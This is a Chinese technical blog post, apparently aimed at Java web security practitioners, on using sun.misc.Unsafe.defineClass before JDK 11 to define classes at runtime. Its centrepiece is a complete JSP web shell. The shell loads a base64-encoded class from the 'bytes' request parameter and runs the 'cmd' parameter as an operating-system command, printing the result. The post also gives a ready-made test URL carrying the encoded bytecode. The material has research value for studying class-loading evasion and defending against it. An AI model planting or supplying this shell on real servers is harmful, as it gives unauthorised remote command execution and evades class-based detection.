2019-09-10 15:12:23

Java11之前使用sun.misc.Unsafe定义类对象

上一篇文章写了如何使用Unsafe来创建任意类对象的实例,这篇文章接着写如何使用Unsafe来定义一个类对象。

正常情况下我们可以重写ClassLoader类来实现定义任意的类,但是某些时候我们无法通过自定义ClassLoader来定义类的时候可以使用这种方式来定义一个class,但是前提条件是在JDK11之前的版本。

如果我们需要定义一个名为com.anbai.lingxe.agent.AbTest的类可以使用如下方式:

com.anbai.lingxe.agent.AbTest示例代码如下:

package com.anbai.lingxe.agent;

import java.io.IOException;

public class AbTest {

	public static Process exec(String cmd) throws IOException {
		return Runtime.getRuntime().exec(cmd);
	} 
	
}

测试jsp代码:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="sun.misc.BASE64Decoder" %>
<%@ page import="sun.misc.Unsafe" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.lang.reflect.Field" %>
<%--
    JDK11之前使用Unsafe来定义任意的类对象并通过反射调用类方法
    测试方法: curl -i http://localhost:8080/modules/unsafe.jsp?bytes=yv66vgAAADIAHwcAAgEAHWNvbS9hbmJhaS9saW5neGUvYWdlbnQvQWJUZXN0BwAEAQAQamF2YS9sYW5nL09iamVjdAEABjxpbml0PgEAAygpVgEABENvZGUKAAMACQwABQAGAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAH0xjb20vYW5iYWkvbGluZ3hlL2FnZW50L0FiVGVzdDsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAKRXhjZXB0aW9ucwcAEgEAE2phdmEvaW8vSU9FeGNlcHRpb24KABQAFgcAFQEAEWphdmEvbGFuZy9SdW50aW1lDAAXABgBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7CgAUABoMAA4ADwEAA2NtZAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAClNvdXJjZUZpbGUBAAtBYlRlc3QuamF2YQAhAAEAAwAAAAAAAgABAAUABgABAAcAAAAvAAEAAQAAAAUqtwAIsQAAAAIACgAAAAYAAQAAAAUACwAAAAwAAQAAAAUADAANAAAACQAOAA8AAgAQAAAABAABABEABwAAADIAAgABAAAACLgAEyq2ABmwAAAAAgAKAAAABgABAAAACAALAAAADAABAAAACAAbABwAAAABAB0AAAACAB4%3D&cmd=pwd
--%>
<%
    String className = "com.anbai.lingxe.agent.AbTest";// 定义一个不存在的类
    Class clazz = null;

    try {
        // 反射调用下,如果这个类已经被声明了就没必要再创建了
        clazz = Class.forName(className);
    } catch (ClassNotFoundException e) {
        // base64解码请求参数后获取这个类的字节码
        byte[] bytes = new BASE64Decoder().decodeBuffer(request.getParameter("bytes"));

        // 通过反射获取到Unsafe实例,因为无法直接通过Unsafe.getUnsafe()来获取实例
        Field f = Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
        f.setAccessible(true);

        // 使用Unsafe.defineClass()方法来定义一个类
        clazz = ((Unsafe) f.get(null)).defineClass(className, bytes, 0, bytes.length, getClass().getClassLoader(), null);
    }

    // 上面的逻辑如果没有错误就已经成功的拿到需要创建的类对象了,所以接下来只需要调用类方法就可以了.
    // 这里调用com.anbai.lingxe.agent.AbTest.exec(cmd)方法,并输出命令执行结果
    Process process = (Process) clazz.getMethod("exec", String.class).invoke(null, request.getParameter("cmd"));
    InputStream in = process.getInputStream();
    java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\A");
    out.println(s.hasNext() ? s.next() : "");
%>


请求jsp测试类创建和调用结果:


测试访问:

http://localhost:8080/modules/unsafe.jsp?bytes=yv66vgAAADIAHwcAAgEAHWNvbS9hbmJhaS9saW5neGUvYWdlbnQvQWJUZXN0BwAEAQAQamF2YS9sYW5nL09iamVjdAEABjxpbml0PgEAAygpVgEABENvZGUKAAMACQwABQAGAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAH0xjb20vYW5iYWkvbGluZ3hlL2FnZW50L0FiVGVzdDsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAKRXhjZXB0aW9ucwcAEgEAE2phdmEvaW8vSU9FeGNlcHRpb24KABQAFgcAFQEAEWphdmEvbGFuZy9SdW50aW1lDAAXABgBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7CgAUABoMAA4ADwEAA2NtZAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAClNvdXJjZUZpbGUBAAtBYlRlc3QuamF2YQAhAAEAAwAAAAAAAgABAAUABgABAAcAAAAvAAEAAQAAAAUqtwAIsQAAAAIACgAAAAYAAQAAAAUACwAAAAwAAQAAAAUADAANAAAACQAOAA8AAgAQAAAABAABABEABwAAADIAAgABAAAACLgAEyq2ABmwAAAAAgAKAAAABgABAAAACAALAAAADAABAAAACAAbABwAAAABAB0AAAACAB4%3D&cmd=pwd

新版本的JDK已经把这个native方法移除了,可以使用使用java.lang.invoke.MethodHandles.Lookup.defineClass来代替,MethodHandles不过是间接的调用了ClassLoader的defineClass罢了,所以就没得玩了,这个Unsafe的defineClass实现代码:

https://github.com/unofficial-openjdk/openjdk/blob/7be094e012bd92bdf66c04450a36f9b4f7dad1cb/src/hotspot/share/prims/unsafe.cpp#L657


发表回复